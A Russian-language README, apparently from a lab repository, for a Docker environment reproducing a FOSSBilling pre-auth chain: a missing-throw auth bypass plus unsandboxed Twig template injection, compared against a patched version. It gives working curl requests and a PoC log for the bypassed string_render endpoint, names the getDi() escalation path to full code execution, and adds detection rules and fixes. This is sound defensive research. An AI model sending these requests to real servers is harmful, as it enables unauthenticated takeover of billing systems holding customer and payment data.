
Docker-лаборатория, воспроизводящая цепочку pre-auth RCE в FOSSBilling (обход аутентификации CVE-2026-27604 + Twig SSTI CVE-2026-28496) с Python PoC и пропатченной целью для сравнения.
| CVE | Тип | CVSS v4 | GHSA | Описание |
|---|
| CVE-2026-27604 | Обход аутентификации | 10.0 | GHSA-78x5-c8gw-8279 | Отсутствующий throw в проверке ролей API открывает административные эндпоинты для неаутентифицированных вызывающих |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Рендеринг шаблонов Twig без песочницы через API string_render |
FOSSBilling — это бесплатная платформа с открытым исходным кодом для биллинга и управления клиентами. Затронуты версии с 0.5.4 по 0.7.2. FOSSBilling 0.8.0 исправляет обе уязвимости.
В этой лаборатории сравниваются две версии FOSSBilling:
| Сервис | Версия FOSSBilling | Назначение | URL |
|---|---|---|---|
| vuln | 0.7.2 | Уязвимая цель | http://localhost:8081 |
| patched | 0.8.0 | Исправленная цель | http://localhost:8082 |
Проверенная цепочка в этой локальной лаборатории:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
Пропатченная цель (0.8.0) возвращает:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Лаборатория намеренно ограничена локальными сервисами Docker. Она не нацелена на внешние системы и не включает веб-оболочки, вредоносное ПО, персистентность, внешние обратные вызовы, дамп баз данных или деструктивные полезные нагрузки.
Для Pre-Auth RCE требуется совместная работа обеих уязвимостей:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Этот лабораторный пример демонстрирует цепочку с использованием безопасного арифметического доказательства `{{ 7*7 }}`. Полный путь RCE через `getDi()` не демонстрируется.
## Проверенные факты
| Утверждение | Доказательство | Как проверить |
| ----- | -------- | ------------- |
| CVE-2026-27604 — это обход аутентификации в обработке ролей API FOSSBilling. | GHSA-78x5-c8gw-8279: отсутствующий throw в проверке ролей позволяет /api/system/ разрешаться как admin. | Запустите PoC: путь guest отклоняется, путь system возвращает результат admin. |
| CVE-2026-28496 — это SSTI в рендеринге Twig в FOSSBilling. | GHSA-57mv-jm88-66jc: string_render передаёт _tpl в Twig createTemplate() без песочницы. | Запустите PoC: сервер вычисляет {{ 7*7 }} и возвращает 49. |
| Обе уязвимости затрагивают FOSSBilling с 0.5.4 по 0.7.2. | Публичные рекомендации определяют диапазон уязвимых версий. | Сравните уязвимую (0.7.2) и исправленную (0.8.0) цели. |
| FOSSBilling 0.8.0 исправляет обе уязвимости. | Исправленная цель возвращает "Unknown API call" для тестируемой конечной точки. | Запустите PoC против порта 8082. |
| Обход аутентификации даёт неаутентифицированный доступ администратора. | /api/guest/ отклоняет string_render; /api/system/ возвращает результат без аутентификации. | Запустите этап 1 PoC. |
| SSTI вычисляет контролируемые злоумышленником шаблоны. | {{ 7*7 }} возвращает 49 через уязвимый путь. | Запустите этап 2 PoC. |
| Цепочка обеспечивает Pre-Auth RCE. | Обход аутентификации + SSTI = неаутентифицированная инъекция шаблонов с контекстом администратора. | Запустите PoC полной цепочки. |
| PoC использует только HTTP. | poc.py отправляет только HTTP POST-запросы. | Изучите poc/poc.py. |
## Анализ первопричины
### CVE-2026-27604: обход аутентификации
API FOSSBilling определяет роли из пути URL:```text
/api/:role/:module/:method
Проверка роли проверяет, разрешена ли запрошенная роль. Однако в уязвимых версиях исключение для запрещённых ролей создаётся, но никогда не выбрасывается:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Поскольку исключение никогда не выбрасывается, проверка проходит незаметно. Роль `system` сопоставляется с идентификатором администратора cron, предоставляя полный доступ к admin API любому неаутентифицированному вызывающему.
Влияние на безопасность:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
Роль system соответствует внутренней идентичности администратора cron, которая обладает полными административными привилегиями.
Метод административного API string_render получает _tpl из данных запроса и передаёт его в конвейер рендеринга шаблонов Twig без применения песочницы:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Метод `renderString()` передаёт управление `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Критическая проблема: createTemplate($tpl) создаёт Twig-шаблон из контролируемой злоумышленником строки и рендерит его без ограничений песочницы. Шаблон имеет доступ к объектам в контексте шаблона, включая обработчик гостевого API, который предоставляет getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## Сводка исправлений в исходном коде
FOSSBilling 0.8.0 устраняет обе уязвимости:
**Исправление обхода аутентификации (CVE-2026-27604):**
Проверка ролей теперь корректно выбрасывает исключение для запрещённых ролей.
**Исправление SSTI (CVE-2026-28496):**
Рендеринг шаблонов выполняется через изолированный рендерер:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
Политика песочницы по умолчанию блокирует доступ к методам и свойствам:```php $methods = []; $properties = [];
Для публичного пути API, протестированного в этой лабораторной работе, FOSSBilling 0.8.0 вообще не предоставляет доступ к протестированной конечной точке:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Проверка регрессии на уровне исходного кода подтверждает более глубокое исправление:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## Архитектура лаборатории```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Сервис | Компонент | Версия / Роль |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 уязвимая цель |
| patched | FOSSBilling | 0.8.0 пропатченная цель |
| vuln-db | MariaDB | база данных для уязвимой цели |
| patched-db | MariaDB | база данных для пропатченной цели |
| installer-vuln | curl sidecar | автоматически устанавливает уязвимую цель |
| installer-patched | curl sidecar | автоматически устанавливает пропатченную цель |
Сервисы, открытые по умолчанию:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Установочные sidecar-контейнеры запускаются автоматически во время `docker compose up`. Они инициализируют обе цели FOSSBilling с локальными одноразовыми учётными данными, а затем завершают работу.
## Требования
* Docker Desktop или Docker Engine
* Docker Compose v2
* Python 3
* Доступ в интернет при первой загрузке Docker-образа
Сторонние пакеты Python не требуются. PoC использует только модули стандартной библиотеки Python.
## Быстрый старт
Запустите лабораторию с чистого состояния:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Проверить статус службы:```bash docker compose ps -a
Ожидаемые запущенные сервисы:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Ожидаемые завершённые службы установщика (код выхода 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Проверьте логи установщика:```bash
docker compose logs installer-vuln installer-patched
Запустите проверку цепочки против уязвимой цели:```bash python3 poc/poc.py --url http://localhost:8081
Запустите проверку цепочки для пропатченной цели:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Примеры:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
PoC проверяет обе CVE в три этапа:
Этап 1 — Обход аутентификации (CVE-2026-27604): Сравнивает путь гостевого API с путём системного API, чтобы доказать неаутентифицированный административный доступ.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Этап 2 — SSTI (CVE-2026-28496):**
Подтверждает серверную оценку шаблона через обойдённую конечную точку администратора.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Этап 3 — Оценка цепочки: Обобщает результат объединённой цепочки.
PoC работает только по HTTP. Он не вызывает Docker, Docker Compose, команды оболочки или API контейнеров.
python3 poc/poc.py --url http://localhost:8081
| `--no-color` | Отключить цветной вывод |
| `--debug` | Включить режим отладки |
| `--verbose` | Включить подробный вывод |
| `--silent` | Подавить весь вывод, кроме ошибок |
| `--json` | Выводить результаты в формате JSON |
| `--csv` | Выводить результаты в формате CSV |
| `--output <file>` | Записать вывод в указанный файл |
| `--config <file>` | Использовать указанный файл конфигурации |
| `--timeout <seconds>` | Установить тайм-аут для операций |
| `--retry <count>` | Указать количество повторных попыток |
| `--threads <count>` | Установить количество потоков |
| `--rate-limit <n>` | Ограничить количество запросов в секунду |
| `--proxy <url>` | Использовать указанный прокси |
| `--user-agent <string>` | Установить пользовательский User-Agent |
| `--header <header>` | Добавить пользовательский заголовок |
| `--cookie <cookie>` | Добавить пользовательскую cookie |
| `--follow-redirects` | Следовать перенаправлениям |
| `--insecure` | Игнорировать ошибки SSL/TLS |
| `--random-agent` | Использовать случайный User-Agent |
| `--tor` | Маршрутизировать трафик через Tor |
| `--check-tor` | Проверить, используется ли Tor |
| `--update` | Обновить инструмент |
| `--version` | Показать информацию о версии |
| `--help` | Показать справку |```text
============================================================
CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
Scope: authorized local lab target only
Target: http://localhost:8081
============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================
[1a] Guest role: POST /api/guest/system/string_render
status=400
error={'message': '...', 'code': ...}
→ Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render
status=200
result=49
→ Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
CVE-2026-27604 CONFIRMED
============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================
[2] POST /api/system/system/string_render
body={"_tpl": "{{ 7*7 }}"}
status=200
response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
CVE-2026-28496 CONFIRMED
============================================================
STAGE 3: Chain Assessment
============================================================
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED
CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
python3 poc/poc.py --url http://localhost:8082
| `--config` | Путь к файлу конфигурации |
| `--verbose` | Включить подробное ведение журнала |
| `--output` | Путь к выходному файлу |```text
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT
CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present
Target appears to be FOSSBilling >= 0.8.0
Путь гостя (должен быть запрещён):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Системный путь (обходит аутентификацию):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Ответ с системным путём от уязвимой цели:```json {"result":"49","error":null}
### Сравнение исправленных версий```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Ожидаемый ответ после исправления:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## Влияние
Цепочка позволяет выполнять неаутентифицированное удалённое выполнение кода в FOSSBilling — платформе для биллинга и управления клиентами, которая может хранить:
* Записи о клиентах и персональные данные
* Данные биллинга и конфигурацию платежей
* Учётные данные серверов и API-токены
* Учётные записи и сессии администраторов
Продемонстрированная в лаборатории полезная нагрузка безвредна (`{{ 7*7 }}`). Реальная цепочка воздействия через `getDi()` и DI-контейнер включает:
* Выполнение SQL через PDO (извлечение учётных данных, эксфильтрация данных)
* Доступ к более чем 40 сервисам приложения
* Доступ к менеджеру расширений (выполнение кода)
* Изменение состояния приложения
* Полную компрометацию сервера при объединении с путями записи файлов или выполнения команд
Одного неаутентифицированного HTTP POST достаточно для достижения DI-контейнера. Данный PoC не демонстрирует этот путь.
## Обнаружение и мониторинг
Подозрительные шаблоны запросов:```text
POST /api/system/system/string_render
POST /api/system/* (any admin method via system role)
Индикаторы тела запроса:```text _tpl, {{, }}, getDi, system, string_render
Правила обнаружения с высоким уровнем сигнала:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output
Рекомендуемые действия по мониторингу:
/api/system/_tpl в телах JSON{{, }}, getDi)/api/system/ с внешних IP-адресовОбновите FOSSBilling до версии 0.8.0 или более поздней.
Рекомендуемые шаги:
/api/system/* на обратном прокси или WAF/api/system/Уроки по безопасности:
docker compose ps -a
docker compose logs installer-vuln installer-patched
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
curl -i -X POST
'http://127.0.0.1:8081/api/guest/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
mkdir -p evidence python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt docker compose ps -a | tee evidence/docker-ps.txt docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
## Очистка```bash
# Stop containers
docker compose down --remove-orphans
# Stop containers and remove volumes
docker compose down -v --remove-orphans
# Remove evidence files
rm -rf evidence/
Эта лаборатория предназначена только для локальных исследований в области безопасности и контролируемой демонстрации.
Не запускайте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Не используйте в этой лаборатории реальные производственные учётные данные, данные клиентов или API-ключи.
Предполагаемая область применения ограничена:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
Лаборатория не демонстрирует:
* Удалённое выполнение команд через getDi()
* Извлечение учётных данных через PDO
* Дамп базы данных
* Установку расширений
* Загрузку веб-шелла
* Закрепление или боковое перемещение
* Внешние обратные вызовы
* Атаки на системы, не входящие в лабораторию
## Ссылки
* **CVE-2026-27604** — обход аутентификации в FOSSBilling
https://www.cve.org/CVERecord?id=CVE-2026-27604
* **CVE-2026-28496** — SSTI в FOSSBilling
https://www.cve.org/CVERecord?id=CVE-2026-28496
* **GHSA-78x5-c8gw-8279** — рекомендация по обходу аутентификации
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
* **GHSA-57mv-jm88-66jc** — рекомендация по SSTI
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* **NVD — CVE-2026-27604**
https://nvd.nist.gov/vuln/detail/CVE-2026-27604
* **NVD — CVE-2026-28496**
https://nvd.nist.gov/vuln/detail/CVE-2026-28496
* **VulnCheck** — обход аутентификации в FOSSBilling и Twig SSTI до неаутентифицированного RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* **Репозиторий FOSSBilling на GitHub**
https://github.com/FOSSBilling/FOSSBilling
* **Docker-образ FOSSBilling**
https://hub.docker.com/r/fossbilling/fossbilling
* **Документация Twig — расширение Sandbox**
https://twig.symfony.com/doc/3.x/sandbox.html